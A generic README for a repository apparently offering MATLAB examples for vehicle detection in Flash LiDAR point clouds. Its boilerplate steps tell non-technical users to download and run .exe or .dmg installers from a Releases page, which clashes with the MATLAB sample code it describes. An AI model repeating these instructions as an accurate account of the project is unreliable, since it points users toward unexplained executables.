🚀 Flash-Lidar-Vehicle-Detection - Efficient Point Cloud Processing Simplified

📜 Description

Flash-Lidar-Vehicle-Detection offers examples and workflows for processing point clouds from Flash LiDAR data using MATLAB. This repository enables vehicle detection through deep learning models that perform object detection and semantic segmentation in both 2D and 3D. It includes sample code for point cloud operations, training pipelines, and a public dataset available for download.

🚀 Getting Started

This guide will walk you through the steps to download and run the application on your computer. You do not need technical skills to follow these instructions.

📥 Download & Install

1. Visit the Releases Page
   To download the application, visit the Releases page. Here, you will find the latest version available for download.

2. Choose the Latest Release
   Look for the latest release at the top of the page. Click on it to view the available files.

3. Download the Application
   Depending on your operating system, download the appropriate file. Follow these steps:

   • For Windows, look for a .exe or .zip file.
   • For macOS, look for a .dmg or .zip file.
   • For Linux, download the appropriate package based on your distribution.

4. Run the Application
   Once the file has downloaded, locate it in your downloads folder. Follow these steps:

   • For .exe files on Windows: Double-click the file to start the setup.
   • For .dmg files on macOS: Open the file and drag the application to your Applications folder.
   • For .zip files: Unzip the folder and follow the instructions inside.

5. Launch the Application
   After installation, find the application in your Start menu (Windows) or Applications folder (macOS) to launch it.

⚙️ System Requirements

• Operating System: Windows 10 or later, macOS 10.15 or later, or a compatible Linux distribution.
• Memory: At least 8 GB of RAM.
• Processor: Dual-core processor or better.
• Disk Space: Minimum of 500 MB free disk space for installation.
• Software: MATLAB R2020a or later is required for running the samples.

🛠️ Features

• 2D Object Detection: Easily detect vehicles in 2D Flash LiDAR data.
• 3D Object Detection: Identify and analyze vehicles in 3D.
• Deep Learning Models: Utilize advanced models like YOLO, YOLOx, and RandLA-Net for improved accuracy.
• Sample Code: Access ready-to-use code for various point cloud operations.
• Public Dataset: Download and utilize a public dataset for testing and training.

📖 Documentation

Comprehensive documentation is available in this repository. You will find guides on:

• How to set up your MATLAB environment.
• Details on running and modifying sample code.
• Examples illustrating object detection and segmentation.

❓ Frequently Asked Questions

1. Do I need programming skills to use this application?
   No, this application is designed for users with no programming background. You can follow the steps provided in this README.

2. Can I contribute to the project?
   Yes, contributions are welcome! Check the issues section for tasks that need help.

3. Is support available?
   For questions, please open an issue in the GitHub repository.

🚀 Join the Community

Follow our progress and connect with other users:

• GitHub Issues: Raise issues or feature requests here.
• Discussions: Participate in conversations and share ideas.

Thank you for downloading Flash-Lidar-Vehicle-Detection! We hope this application enhances your LiDAR data processing experience.